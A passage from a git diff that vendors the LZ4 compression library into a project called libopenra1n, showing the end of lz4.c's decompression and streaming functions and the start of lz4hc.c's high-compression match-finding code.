op += length; + /* Necessarily EOF when !partialDecoding. + * When partialDecoding, it is EOF if we've either + * filled the output buffer or + * can't proceed with reading an offset for following match. + */ + if (!partialDecoding || (cpy == oend) || (ip >= (iend-2))) { + break; + } + } else { + LZ4_wildCopy8(op, ip, cpy); /* can overwrite up to 8 bytes beyond cpy */ + ip += length; op = cpy; + } + + /* get offset */ + offset = LZ4_readLE16(ip); ip+=2; + match = op - offset; + + /* get matchlength */ + length = token & ML_MASK; + + _copy_match: + if (length == ML_MASK) { + size_t const addl = read_variable_length(&ip, iend - LASTLITERALS + 1, 0); + if (addl == rvl_error) { goto _output_error; } + length += addl; + if (unlikely((uptrval)(op)+length<(uptrval)op)) goto _output_error; /* overflow detection */ + } + length += MINMATCH; + +#if LZ4_FAST_DEC_LOOP + safe_match_copy: +#endif + if ((checkOffset) && (unlikely(match + dictSize < lowPrefix))) goto _output_error; /* Error : offset outside buffers */ + /* match starting within external dictionary */ + if ((dict==usingExtDict) && (match < lowPrefix)) { + assert(dictEnd != NULL); + if (unlikely(op+length > oend-LASTLITERALS)) { + if (partialDecoding) length = MIN(length, (size_t)(oend-op)); + else goto _output_error; /* doesn't respect parsing restriction */ + } + + if (length <= (size_t)(lowPrefix-match)) { + /* match fits entirely within external dictionary : just copy */ + LZ4_memmove(op, dictEnd - (lowPrefix-match), length); + op += length; + } else { + /* match stretches into both external dictionary and current block */ + size_t const copySize = (size_t)(lowPrefix - match); + size_t const restSize = length - copySize; + LZ4_memcpy(op, dictEnd - copySize, copySize); + op += copySize; + if (restSize > (size_t)(op - lowPrefix)) { /* overlap copy */ + BYTE* const endOfMatch = op + restSize; + const BYTE* copyFrom = lowPrefix; + while (op < endOfMatch) *op++ = *copyFrom++; + } else { + LZ4_memcpy(op, lowPrefix, restSize); + op += restSize; + } } + continue; + } + assert(match >= lowPrefix); + + /* copy match within block */ + cpy = op + length; + + /* partialDecoding : may end anywhere within the block */ + assert(op<=oend); + if (partialDecoding && (cpy > oend-MATCH_SAFEGUARD_DISTANCE)) { + size_t const mlen = MIN(length, (size_t)(oend-op)); + const BYTE* const matchEnd = match + mlen; + BYTE* const copyEnd = op + mlen; + if (matchEnd > op) { /* overlap copy */ + while (op < copyEnd) { *op++ = *match++; } + } else { + LZ4_memcpy(op, match, mlen); + } + op = copyEnd; + if (op == oend) { break; } + continue; + } + + if (unlikely(offset<8)) { + LZ4_write32(op, 0); /* silence msan warning when offset==0 */ + op[0] = match[0]; + op[1] = match[1]; + op[2] = match[2]; + op[3] = match[3]; + match += inc32table[offset]; + LZ4_memcpy(op+4, match, 4); + match -= dec64table[offset]; + } else { + LZ4_memcpy(op, match, 8); + match += 8; + } + op += 8; + + if (unlikely(cpy > oend-MATCH_SAFEGUARD_DISTANCE)) { + BYTE* const oCopyLimit = oend - (WILDCOPYLENGTH-1); + if (cpy > oend-LASTLITERALS) { goto _output_error; } /* Error : last LASTLITERALS bytes must be literals (uncompressed) */ + if (op < oCopyLimit) { + LZ4_wildCopy8(op, match, oCopyLimit); + match += oCopyLimit - op; + op = oCopyLimit; + } + while (op < cpy) { *op++ = *match++; } + } else { + LZ4_memcpy(op, match, 8); + if (length > 16) { LZ4_wildCopy8(op+8, match+8, cpy); } + } + op = cpy; /* wildcopy correction */ + } + + /* end of decoding */ + DEBUGLOG(5, "decoded %i bytes", (int) (((char*)op)-dst)); + return (int) (((char*)op)-dst); /* Nb of output bytes decoded */ + + /* Overflow error detected */ + _output_error: + return (int) (-(((const char*)ip)-src))-1; + } +} + + +/*===== Instantiate the API decoding functions. =====*/ + +LZ4_FORCE_O2 +int LZ4_decompress_safe(const char* source, char* dest, int compressedSize, int maxDecompressedSize) +{ + return LZ4_decompress_generic(source, dest, compressedSize, maxDecompressedSize, + decode_full_block, noDict, + (BYTE*)dest, NULL, 0); +} + +LZ4_FORCE_O2 +int LZ4_decompress_safe_partial(const char* src, char* dst, int compressedSize, int targetOutputSize, int dstCapacity) +{ + dstCapacity = MIN(targetOutputSize, dstCapacity); + return LZ4_decompress_generic(src, dst, compressedSize, dstCapacity, + partial_decode, + noDict, (BYTE*)dst, NULL, 0); +} + +LZ4_FORCE_O2 +int LZ4_decompress_fast(const char* source, char* dest, int originalSize) +{ + DEBUGLOG(5, "LZ4_decompress_fast"); + return LZ4_decompress_unsafe_generic( + (const BYTE*)source, (BYTE*)dest, originalSize, + 0, NULL, 0); +} + +/*===== Instantiate a few more decoding cases, used more than once. =====*/ + +LZ4_FORCE_O2 /* Exported, an obsolete API function. */ +int LZ4_decompress_safe_withPrefix64k(const char* source, char* dest, int compressedSize, int maxOutputSize) +{ + return LZ4_decompress_generic(source, dest, compressedSize, maxOutputSize, + decode_full_block, withPrefix64k, + (BYTE*)dest - 64 KB, NULL, 0); +} + +LZ4_FORCE_O2 +static int LZ4_decompress_safe_partial_withPrefix64k(const char* source, char* dest, int compressedSize, int targetOutputSize, int dstCapacity) +{ + dstCapacity = MIN(targetOutputSize, dstCapacity); + return LZ4_decompress_generic(source, dest, compressedSize, dstCapacity, + partial_decode, withPrefix64k, + (BYTE*)dest - 64 KB, NULL, 0); +} + +/* Another obsolete API function, paired with the previous one. */ +int LZ4_decompress_fast_withPrefix64k(const char* source, char* dest, int originalSize) +{ + return LZ4_decompress_unsafe_generic( + (const BYTE*)source, (BYTE*)dest, originalSize, + 64 KB, NULL, 0); +} + +LZ4_FORCE_O2 +static int LZ4_decompress_safe_withSmallPrefix(const char* source, char* dest, int compressedSize, int maxOutputSize, + size_t prefixSize) +{ + return LZ4_decompress_generic(source, dest, compressedSize, maxOutputSize, + decode_full_block, noDict, + (BYTE*)dest-prefixSize, NULL, 0); +} + +LZ4_FORCE_O2 +static int LZ4_decompress_safe_partial_withSmallPrefix(const char* source, char* dest, int compressedSize, int targetOutputSize, int dstCapacity, + size_t prefixSize) +{ + dstCapacity = MIN(targetOutputSize, dstCapacity); + return LZ4_decompress_generic(source, dest, compressedSize, dstCapacity, + partial_decode, noDict, + (BYTE*)dest-prefixSize, NULL, 0); +} + +LZ4_FORCE_O2 +int LZ4_decompress_safe_forceExtDict(const char* source, char* dest, + int compressedSize, int maxOutputSize, + const void* dictStart, size_t dictSize) +{ + DEBUGLOG(5, "LZ4_decompress_safe_forceExtDict"); + return LZ4_decompress_generic(source, dest, compressedSize, maxOutputSize, + decode_full_block, usingExtDict, + (BYTE*)dest, (const BYTE*)dictStart, dictSize); +} + +LZ4_FORCE_O2 +int LZ4_decompress_safe_partial_forceExtDict(const char* source, char* dest, + int compressedSize, int targetOutputSize, int dstCapacity, + const void* dictStart, size_t dictSize) +{ + dstCapacity = MIN(targetOutputSize, dstCapacity); + return LZ4_decompress_generic(source, dest, compressedSize, dstCapacity, + partial_decode, usingExtDict, + (BYTE*)dest, (const BYTE*)dictStart, dictSize); +} + +LZ4_FORCE_O2 +static int LZ4_decompress_fast_extDict(const char* source, char* dest, int originalSize, + const void* dictStart, size_t dictSize) +{ + return LZ4_decompress_unsafe_generic( + (const BYTE*)source, (BYTE*)dest, originalSize, + 0, (const BYTE*)dictStart, dictSize); +} + +/* The "double dictionary" mode, for use with e.g. ring buffers: the first part + * of the dictionary is passed as prefix, and the second via dictStart + dictSize. + * These routines are used only once, in LZ4_decompress_*_continue(). + */ +LZ4_FORCE_INLINE +int LZ4_decompress_safe_doubleDict(const char* source, char* dest, int compressedSize, int maxOutputSize, + size_t prefixSize, const void* dictStart, size_t dictSize) +{ + return LZ4_decompress_generic(source, dest, compressedSize, maxOutputSize, + decode_full_block, usingExtDict, + (BYTE*)dest-prefixSize, (const BYTE*)dictStart, dictSize); +} + +/*===== streaming decompression functions =====*/ + +#if !defined(LZ4_STATIC_LINKING_ONLY_DISABLE_MEMORY_ALLOCATION) +LZ4_streamDecode_t* LZ4_createStreamDecode(void) +{ + LZ4_STATIC_ASSERT(sizeof(LZ4_streamDecode_t) >= sizeof(LZ4_streamDecode_t_internal)); + return (LZ4_streamDecode_t*) ALLOC_AND_ZERO(sizeof(LZ4_streamDecode_t)); +} + +int LZ4_freeStreamDecode (LZ4_streamDecode_t* LZ4_stream) +{ + if (LZ4_stream == NULL) { return 0; } /* support free on NULL */ + FREEMEM(LZ4_stream); + return 0; +} +#endif + +/*! LZ4_setStreamDecode() : + * Use this function to instruct where to find the dictionary. + * This function is not necessary if previous data is still available where it was decoded. + * Loading a size of 0 is allowed (same effect as no dictionary). + * @return : 1 if OK, 0 if error + */ +int LZ4_setStreamDecode (LZ4_streamDecode_t* LZ4_streamDecode, const char* dictionary, int dictSize) +{ + LZ4_streamDecode_t_internal* lz4sd = &LZ4_streamDecode->internal_donotuse; + lz4sd->prefixSize = (size_t)dictSize; + if (dictSize) { + assert(dictionary != NULL); + lz4sd->prefixEnd = (const BYTE*) dictionary + dictSize; + } else { + lz4sd->prefixEnd = (const BYTE*) dictionary; + } + lz4sd->externalDict = NULL; + lz4sd->extDictSize = 0; + return 1; +} + +/*! LZ4_decoderRingBufferSize() : + * when setting a ring buffer for streaming decompression (optional scenario), + * provides the minimum size of this ring buffer + * to be compatible with any source respecting maxBlockSize condition. + * Note : in a ring buffer scenario, + * blocks are presumed decompressed next to each other. + * When not enough space remains for next block (remainingSize < maxBlockSize), + * decoding resumes from beginning of ring buffer. + * @return : minimum ring buffer size, + * or 0 if there is an error (invalid maxBlockSize). + */ +int LZ4_decoderRingBufferSize(int maxBlockSize) +{ + if (maxBlockSize < 0) return 0; + if (maxBlockSize > LZ4_MAX_INPUT_SIZE) return 0; + if (maxBlockSize < 16) maxBlockSize = 16; + return LZ4_DECODER_RING_BUFFER_SIZE(maxBlockSize); +} + +/* +*_continue() : + These decoding functions allow decompression of multiple blocks in "streaming" mode. + Previously decoded blocks must still be available at the memory position where they were decoded. + If it's not possible, save the relevant part of decoded data into a safe buffer, + and indicate where it stands using LZ4_setStreamDecode() +*/ +LZ4_FORCE_O2 +int LZ4_decompress_safe_continue (LZ4_streamDecode_t* LZ4_streamDecode, const char* source, char* dest, int compressedSize, int maxOutputSize) +{ + LZ4_streamDecode_t_internal* lz4sd = &LZ4_streamDecode->internal_donotuse; + int result; + + if (lz4sd->prefixSize == 0) { + /* The first call, no dictionary yet. */ + assert(lz4sd->extDictSize == 0); + result = LZ4_decompress_safe(source, dest, compressedSize, maxOutputSize); + if (result <= 0) return result; + lz4sd->prefixSize = (size_t)result; + lz4sd->prefixEnd = (BYTE*)dest + result; + } else if (lz4sd->prefixEnd == (BYTE*)dest) { + /* They're rolling the current segment. */ + if (lz4sd->prefixSize >= 64 KB - 1) + result = LZ4_decompress_safe_withPrefix64k(source, dest, compressedSize, maxOutputSize); + else if (lz4sd->extDictSize == 0) + result = LZ4_decompress_safe_withSmallPrefix(source, dest, compressedSize, maxOutputSize, + lz4sd->prefixSize); + else + result = LZ4_decompress_safe_doubleDict(source, dest, compressedSize, maxOutputSize, + lz4sd->prefixSize, lz4sd->externalDict, lz4sd->extDictSize); + if (result <= 0) return result; + lz4sd->prefixSize += (size_t)result; + lz4sd->prefixEnd += result; + } else { + /* The buffer wraps around, or they're switching to another buffer. */ + lz4sd->extDictSize = lz4sd->prefixSize; + lz4sd->externalDict = lz4sd->prefixEnd - lz4sd->extDictSize; + result = LZ4_decompress_safe_forceExtDict(source, dest, compressedSize, maxOutputSize, + lz4sd->externalDict, lz4sd->extDictSize); + if (result <= 0) return result; + lz4sd->prefixSize = (size_t)result; + lz4sd->prefixEnd = (BYTE*)dest + result; + } + + return result; +} + +LZ4_FORCE_O2 int +LZ4_decompress_fast_continue (LZ4_streamDecode_t* LZ4_streamDecode, + const char* source, char* dest, int originalSize) +{ + LZ4_streamDecode_t_internal* const lz4sd = + (assert(LZ4_streamDecode!=NULL), &LZ4_streamDecode->internal_donotuse); + int result; + + DEBUGLOG(5, "LZ4_decompress_fast_continue (toDecodeSize=%i)", originalSize); + assert(originalSize >= 0); + + if (lz4sd->prefixSize == 0) { + DEBUGLOG(5, "first invocation : no prefix nor extDict"); + assert(lz4sd->extDictSize == 0); + result = LZ4_decompress_fast(source, dest, originalSize); + if (result <= 0) return result; + lz4sd->prefixSize = (size_t)originalSize; + lz4sd->prefixEnd = (BYTE*)dest + originalSize; + } else if (lz4sd->prefixEnd == (BYTE*)dest) { + DEBUGLOG(5, "continue using existing prefix"); + result = LZ4_decompress_unsafe_generic( + (const BYTE*)source, (BYTE*)dest, originalSize, + lz4sd->prefixSize, + lz4sd->externalDict, lz4sd->extDictSize); + if (result <= 0) return result; + lz4sd->prefixSize += (size_t)originalSize; + lz4sd->prefixEnd += originalSize; + } else { + DEBUGLOG(5, "prefix becomes extDict"); + lz4sd->extDictSize = lz4sd->prefixSize; + lz4sd->externalDict = lz4sd->prefixEnd - lz4sd->extDictSize; + result = LZ4_decompress_fast_extDict(source, dest, originalSize, + lz4sd->externalDict, lz4sd->extDictSize); + if (result <= 0) return result; + lz4sd->prefixSize = (size_t)originalSize; + lz4sd->prefixEnd = (BYTE*)dest + originalSize; + } + + return result; +} + + +/* +Advanced decoding functions : +*_usingDict() : + These decoding functions work the same as "_continue" ones, + the dictionary must be explicitly provided within parameters +*/ + +int LZ4_decompress_safe_usingDict(const char* source, char* dest, int compressedSize, int maxOutputSize, const char* dictStart, int dictSize) +{ + if (dictSize==0) + return LZ4_decompress_safe(source, dest, compressedSize, maxOutputSize); + if (dictStart+dictSize == dest) { + if (dictSize >= 64 KB - 1) { + return LZ4_decompress_safe_withPrefix64k(source, dest, compressedSize, maxOutputSize); + } + assert(dictSize >= 0); + return LZ4_decompress_safe_withSmallPrefix(source, dest, compressedSize, maxOutputSize, (size_t)dictSize); + } + assert(dictSize >= 0); + return LZ4_decompress_safe_forceExtDict(source, dest, compressedSize, maxOutputSize, dictStart, (size_t)dictSize); +} + +int LZ4_decompress_safe_partial_usingDict(const char* source, char* dest, int compressedSize, int targetOutputSize, int dstCapacity, const char* dictStart, int dictSize) +{ + if (dictSize==0) + return LZ4_decompress_safe_partial(source, dest, compressedSize, targetOutputSize, dstCapacity); + if (dictStart+dictSize == dest) { + if (dictSize >= 64 KB - 1) { + return LZ4_decompress_safe_partial_withPrefix64k(source, dest, compressedSize, targetOutputSize, dstCapacity); + } + assert(dictSize >= 0); + return LZ4_decompress_safe_partial_withSmallPrefix(source, dest, compressedSize, targetOutputSize, dstCapacity, (size_t)dictSize); + } + assert(dictSize >= 0); + return LZ4_decompress_safe_partial_forceExtDict(source, dest, compressedSize, targetOutputSize, dstCapacity, dictStart, (size_t)dictSize); +} + +int LZ4_decompress_fast_usingDict(const char* source, char* dest, int originalSize, const char* dictStart, int dictSize) +{ + if (dictSize==0 || dictStart+dictSize == dest) + return LZ4_decompress_unsafe_generic( + (const BYTE*)source, (BYTE*)dest, originalSize, + (size_t)dictSize, NULL, 0); + assert(dictSize >= 0); + return LZ4_decompress_fast_extDict(source, dest, originalSize, dictStart, (size_t)dictSize); +} + + +/*=************************************************* +* Obsolete Functions +***************************************************/ +/* obsolete compression functions */ +int LZ4_compress_limitedOutput(const char* source, char* dest, int inputSize, int maxOutputSize) +{ + return LZ4_compress_default(source, dest, inputSize, maxOutputSize); +} +int LZ4_compress(const char* src, char* dest, int srcSize) +{ + return LZ4_compress_default(src, dest, srcSize, LZ4_compressBound(srcSize)); +} +int LZ4_compress_limitedOutput_withState (void* state, const char* src, char* dst, int srcSize, int dstSize) +{ + return LZ4_compress_fast_extState(state, src, dst, srcSize, dstSize, 1); +} +int LZ4_compress_withState (void* state, const char* src, char* dst, int srcSize) +{ + return LZ4_compress_fast_extState(state, src, dst, srcSize, LZ4_compressBound(srcSize), 1); +} +int LZ4_compress_limitedOutput_continue (LZ4_stream_t* LZ4_stream, const char* src, char* dst, int srcSize, int dstCapacity) +{ + return LZ4_compress_fast_continue(LZ4_stream, src, dst, srcSize, dstCapacity, 1); +} +int LZ4_compress_continue (LZ4_stream_t* LZ4_stream, const char* source, char* dest, int inputSize) +{ + return LZ4_compress_fast_continue(LZ4_stream, source, dest, inputSize, LZ4_compressBound(inputSize), 1); +} + +/* +These decompression functions are deprecated and should no longer be used. +They are only provided here for compatibility with older user programs. +- LZ4_uncompress is totally equivalent to LZ4_decompress_fast +- LZ4_uncompress_unknownOutputSize is totally equivalent to LZ4_decompress_safe +*/ +int LZ4_uncompress (const char* source, char* dest, int outputSize) +{ + return LZ4_decompress_fast(source, dest, outputSize); +} +int LZ4_uncompress_unknownOutputSize (const char* source, char* dest, int isize, int maxOutputSize) +{ + return LZ4_decompress_safe(source, dest, isize, maxOutputSize); +} + +/* Obsolete Streaming functions */ + +int LZ4_sizeofStreamState(void) { return sizeof(LZ4_stream_t); } + +int LZ4_resetStreamState(void* state, char* inputBuffer) +{ + (void)inputBuffer; + LZ4_resetStream((LZ4_stream_t*)state); + return 0; +} + +#if !defined(LZ4_STATIC_LINKING_ONLY_DISABLE_MEMORY_ALLOCATION) +void* LZ4_create (char* inputBuffer) +{ + (void)inputBuffer; + return LZ4_createStream(); +} +#endif + +char* LZ4_slideInputBuffer (void* state) +{ + /* avoid const char * -> char * conversion warning */ + return (char *)(uptrval)((LZ4_stream_t*)state)->internal_donotuse.dictionary; +} + +#endif /* LZ4_COMMONDEFS_ONLY */ diff --git a/1stparty/libopenra1n/src/lz4/lz4hc.c b/1stparty/libopenra1n/src/lz4/lz4hc.c new file mode 100644 index 0000000..77a35a0 --- /dev/null +++ b/1stparty/libopenra1n/src/lz4/lz4hc.c @@ -0,0 +1,1637 @@ +/* + LZ4 HC - High Compression Mode of LZ4 + Copyright (C) 2011-2020, Yann Collet. + + BSD 2-Clause License (http://www.opensource.org/licenses/bsd-license.php) + + Redistribution and use in source and binary forms, with or without + modification, are permitted provided that the following conditions are + met: + + * Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above + copyright notice, this list of conditions and the following disclaimer + in the documentation and/or other materials provided with the + distribution. + + THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS + "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT + LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR + A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT + OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, + SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT + LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE + OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + + You can contact the author at : + - LZ4 source repository : https://github.com/lz4/lz4 + - LZ4 public forum : https://groups.google.com/forum/#!forum/lz4c +*/ +/* note : lz4hc is not an independent module, it requires lz4.h/lz4.c for proper compilation */ + + +/* ************************************* +* Tuning Parameter +***************************************/ + +/*! HEAPMODE : + * Select how stateless HC compression functions like `LZ4_compress_HC()` + * allocate memory for their workspace: + * in stack (0:fastest), or in heap (1:default, requires malloc()). + * Since workspace is rather large, heap mode is recommended. +**/ +#ifndef LZ4HC_HEAPMODE +# define LZ4HC_HEAPMODE 1 +#endif + + +/*=== Dependency ===*/ +#define LZ4_HC_STATIC_LINKING_ONLY +#include + + +/*=== Common definitions ===*/ +#if defined(__GNUC__) +# pragma GCC diagnostic ignored "-Wunused-function" +#endif +#if defined (__clang__) +# pragma clang diagnostic ignored "-Wunused-function" +#endif + +#define LZ4_COMMONDEFS_ONLY +#ifndef LZ4_SRC_INCLUDED +#include "lz4.c" /* LZ4_count, constants, mem */ +#endif + + +/*=== Enums ===*/ +typedef enum { noDictCtx, usingDictCtxHc } dictCtx_directive; + + +/*=== Constants ===*/ +#define OPTIMAL_ML (int)((ML_MASK-1)+MINMATCH) +#define LZ4_OPT_NUM (1<<12) + + +/*=== Macros ===*/ +#define MIN(a,b) ( (a) < (b) ? (a) : (b) ) +#define MAX(a,b) ( (a) > (b) ? (a) : (b) ) +#define HASH_FUNCTION(i) (((i) * 2654435761U) >> ((MINMATCH*8)-LZ4HC_HASH_LOG)) +#define DELTANEXTMAXD(p) chainTable[(p) & LZ4HC_MAXD_MASK] /* flexible, LZ4HC_MAXD dependent */ +#define DELTANEXTU16(table, pos) table[(U16)(pos)] /* faster */ +/* Make fields passed to, and updated by LZ4HC_encodeSequence explicit */ +#define UPDATABLE(ip, op, anchor) &ip, &op, &anchor + +#define LZ4HC_HASHSIZE 4 +static U32 LZ4HC_hashPtr(const void* ptr) { return HASH_FUNCTION(LZ4_read32(ptr)); } + + +/************************************** +* HC Compression +**************************************/ +static void LZ4HC_clearTables (LZ4HC_CCtx_internal* hc4) +{ + MEM_INIT(hc4->hashTable, 0, sizeof(hc4->hashTable)); + MEM_INIT(hc4->chainTable, 0xFF, sizeof(hc4->chainTable)); +} + +static void LZ4HC_init_internal (LZ4HC_CCtx_internal* hc4, const BYTE* start) +{ + size_t const bufferSize = (size_t)(hc4->end - hc4->prefixStart); + size_t newStartingOffset = bufferSize + hc4->dictLimit; + DEBUGLOG(5, "LZ4HC_init_internal"); + assert(newStartingOffset >= bufferSize); /* check overflow */ + if (newStartingOffset > 1 GB) { + LZ4HC_clearTables(hc4); + newStartingOffset = 0; + } + newStartingOffset += 64 KB; + hc4->nextToUpdate = (U32)newStartingOffset; + hc4->prefixStart = start; + hc4->end = start; + hc4->dictStart = start; + hc4->dictLimit = (U32)newStartingOffset; + hc4->lowLimit = (U32)newStartingOffset; +} + + +/* Update chains up to ip (excluded) */ +LZ4_FORCE_INLINE void LZ4HC_Insert (LZ4HC_CCtx_internal* hc4, const BYTE* ip) +{ + U16* const chainTable = hc4->chainTable; + U32* const hashTable = hc4->hashTable; + const BYTE* const prefixPtr = hc4->prefixStart; + U32 const prefixIdx = hc4->dictLimit; + U32 const target = (U32)(ip - prefixPtr) + prefixIdx; + U32 idx = hc4->nextToUpdate; + assert(ip >= prefixPtr); + assert(target >= prefixIdx); + + while (idx < target) { + U32 const h = LZ4HC_hashPtr(prefixPtr+idx-prefixIdx); + size_t delta = idx - hashTable[h]; + if (delta>LZ4_DISTANCE_MAX) delta = LZ4_DISTANCE_MAX; + DELTANEXTU16(chainTable, idx) = (U16)delta; + hashTable[h] = idx; + idx++; + } + + hc4->nextToUpdate = target; +} + +/** LZ4HC_countBack() : + * @return : negative value, nb of common bytes before ip/match */ +LZ4_FORCE_INLINE +int LZ4HC_countBack(const BYTE* const ip, const BYTE* const match, + const BYTE* const iMin, const BYTE* const mMin) +{ + int back = 0; + int const min = (int)MAX(iMin - ip, mMin - match); + assert(min <= 0); + assert(ip >= iMin); assert((size_t)(ip-iMin) < (1U<<31)); + assert(match >= mMin); assert((size_t)(match - mMin) < (1U<<31)); + while ( (back > min) + && (ip[back-1] == match[back-1]) ) + back--; + return back; +} + +#if defined(_MSC_VER) +# define LZ4HC_rotl32(x,r) _rotl(x,r) +#else +# define LZ4HC_rotl32(x,r) ((x << r) | (x >> (32 - r))) +#endif + + +static U32 LZ4HC_rotatePattern(size_t const rotate, U32 const pattern) +{ + size_t const bitsToRotate = (rotate & (sizeof(pattern) - 1)) << 3; + if (bitsToRotate == 0) return pattern; + return LZ4HC_rotl32(pattern, (int)bitsToRotate); +} + +/* LZ4HC_countPattern() : + * pattern32 must be a sample of repetitive pattern of length 1, 2 or 4 (but not 3!) */ +static unsigned +LZ4HC_countPattern(const BYTE* ip, const BYTE* const iEnd, U32 const pattern32) +{ + const BYTE* const iStart = ip; + reg_t const pattern = (sizeof(pattern)==8) ? + (reg_t)pattern32 + (((reg_t)pattern32) << (sizeof(pattern)*4)) : pattern32; + + while (likely(ip < iEnd-(sizeof(pattern)-1))) { + reg_t const diff = LZ4_read_ARCH(ip) ^ pattern; + if (!diff) { ip+=sizeof(pattern); continue; } + ip += LZ4_NbCommonBytes(diff); + return (unsigned)(ip - iStart); + } + + if (LZ4_isLittleEndian()) { + reg_t patternByte = pattern; + while ((ip>= 8; + } + } else { /* big endian */ + U32 bitOffset = (sizeof(pattern)*8) - 8; + while (ip < iEnd) { + BYTE const byte = (BYTE)(pattern >> bitOffset); + if (*ip != byte) break; + ip ++; bitOffset -= 8; + } } + + return (unsigned)(ip - iStart); +} + +/* LZ4HC_reverseCountPattern() : + * pattern must be a sample of repetitive pattern of length 1, 2 or 4 (but not 3!) + * read using natural platform endianness */ +static unsigned +LZ4HC_reverseCountPattern(const BYTE* ip, const BYTE* const iLow, U32 pattern) +{ + const BYTE* const iStart = ip; + + while (likely(ip >= iLow+4)) { + if (LZ4_read32(ip-4) != pattern) break; + ip -= 4; + } + { const BYTE* bytePtr = (const BYTE*)(&pattern) + 3; /* works for any endianness */ + while (likely(ip>iLow)) { + if (ip[-1] != *bytePtr) break; + ip--; bytePtr--; + } } + return (unsigned)(iStart - ip); +} + +/* LZ4HC_protectDictEnd() : + * Checks if the match is in the last 3 bytes of the dictionary, so reading the + * 4 byte MINMATCH would overflow. + * @returns true if the match index is okay. + */ +static int LZ4HC_protectDictEnd(U32 const dictLimit, U32 const matchIndex) +{ + return ((U32)((dictLimit - 1) - matchIndex) >= 3); +} + +typedef enum { rep_untested, rep_not, rep_confirmed } repeat_state_e; +typedef enum { favorCompressionRatio=0, favorDecompressionSpeed } HCfavor_e; + +typedef struct { + int off; + int len; +} LZ4HC_match_t; + +LZ4_FORCE_INLINE LZ4HC_match_t +LZ4HC_InsertAndGetWiderMatch ( + LZ4HC_CCtx_internal* const hc4, + const BYTE* const ip, + const BYTE* const iLowLimit, const BYTE* const iHighLimit, + int longest, + const BYTE** startpos, + const int maxNbAttempts, + const int patternAnalysis, const int chainSwap, + const dictCtx_directive dict, + const HCfavor_e favorDecSpeed) +{ + U16* const chainTable = hc4->chainTable; + U32* const hashTable = hc4->hashTable; + const LZ4HC_CCtx_internal * const dictCtx = hc4->dictCtx; + const BYTE* const prefixPtr = hc4->prefixStart; + const U32 prefixIdx = hc4->dictLimit; + const U32 ipIndex = (U32)(ip - prefixPtr) + prefixIdx; + const int withinStartDistance = (hc4->lowLimit + (LZ4_DISTANCE_MAX + 1) > ipIndex); + const U32 lowestMatchIndex = (withinStartDistance) ? hc4->lowLimit : ipIndex - LZ4_DISTANCE_MAX; + const BYTE* const dictStart = hc4->dictStart; + const U32 dictIdx = hc4->lowLimit; + const BYTE* const dictEnd = dictStart + prefixIdx - dictIdx; + int const lookBackLength = (int)(ip-iLowLimit); + int nbAttempts = maxNbAttempts; + U32 matchChainPos = 0; + U32 const pattern = LZ4_read32(ip); + U32 matchIndex; + repeat_state_e repeat = rep_untested; + size_t srcPatternLength = 0; + int offset = 0; + + DEBUGLOG(7, "LZ4HC_InsertAndGetWiderMatch"); + assert(startpos != NULL); + *startpos = ip; /* in case there is no solution */ + /* First Match */ + LZ4HC_Insert(hc4, ip); /* insert all prior positions up to ip (excluded) */ + matchIndex = hashTable[LZ4HC_hashPtr(ip)]; + DEBUGLOG(7, "First candidate match for pos %u found at index %u / %u (lowestMatchIndex)", + ipIndex, matchIndex, lowestMatchIndex); + + while ((matchIndex>=lowestMatchIndex) && (nbAttempts>0)) { + int matchLength=0; + nbAttempts--; + assert(matchIndex < ipIndex); + if (favorDecSpeed && (ipIndex - matchIndex < 8)) { + /* do nothing: + * favorDecSpeed intentionally skips matches with offset < 8 */ + } else if (matchIndex >= prefixIdx) { /* within current Prefix */ + const BYTE* const matchPtr = prefixPtr + (matchIndex - prefixIdx); + assert(matchPtr < ip); + assert(longest >= 1); + if (LZ4_read16(iLowLimit + longest - 1) == LZ4_read16(matchPtr - lookBackLength + longest - 1)) { + if (LZ4_read32(matchPtr) == pattern) { + int const back = lookBackLength ? LZ4HC_countBack(ip, matchPtr, iLowLimit, prefixPtr) : 0; + matchLength = MINMATCH + (int)LZ4_count(ip+MINMATCH, matchPtr+MINMATCH, iHighLimit); + matchLength -= back; + if (matchLength > longest) { + longest = matchLength; + offset = (int)(ipIndex - matchIndex); + *startpos = ip + back; + DEBUGLOG(7, "Found match of len=%i within prefix, offset=%i, back=%i", longest, offset, -back); + } } } + } else { /* lowestMatchIndex <= matchIndex < dictLimit : within Ext Dict */ + const BYTE* const matchPtr = dictStart + (matchIndex - dictIdx); + assert(matchIndex >= dictIdx); + if ( likely(matchIndex <= prefixIdx - 4) + && (LZ4_read32(matchPtr) == pattern) ) { + int back = 0; + const BYTE* vLimit = ip + (prefixIdx - matchIndex); + if (vLimit > iHighLimit) vLimit = iHighLimit; + matchLength = (int)LZ4_count(ip+MINMATCH, matchPtr+MINMATCH, vLimit) + MINMATCH; + if ((ip+matchLength == vLimit) && (vLimit < iHighLimit)) + matchLength += LZ4_count(ip+matchLength, prefixPtr, iHighLimit); + back = lookBackLength ? LZ4HC_countBack(ip, matchPtr, iLowLimit, dictStart) : 0; + matchLength -= back; + if (matchLength > longest) { + longest = matchLength; + offset = (int)(ipIndex - matchIndex); + *startpos = ip + back; + DEBUGLOG(7, "Found match of len=%i within dict, offset=%i, back=%i", longest, offset, -back); + } } } + + if (chainSwap && matchLength==longest) { /* better match => select a better chain */ + assert(lookBackLength==0); /* search forward only */ + if (matchIndex + (U32)longest <= ipIndex) { + int const kTrigger = 4; + U32 distanceToNextMatch = 1; + int const end = longest - MINMATCH + 1; + int step = 1; + int accel = 1 << kTrigger; + int pos; + for (pos = 0; pos < end; pos += step) { + U32 const candidateDist = 